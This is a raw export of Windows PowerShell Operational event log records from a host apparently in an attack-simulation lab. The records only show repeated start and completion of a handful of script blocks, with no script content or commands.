Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050910
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050909
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050924
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050922
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050920
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050918
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050916
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050934
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050932
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050930
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050928
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:02 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050926
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050944
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050942
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050940
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050938
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050936
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050954
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050952
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050950
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050948
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050946
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050964
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050962
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050960
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050958
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050956
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:02:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
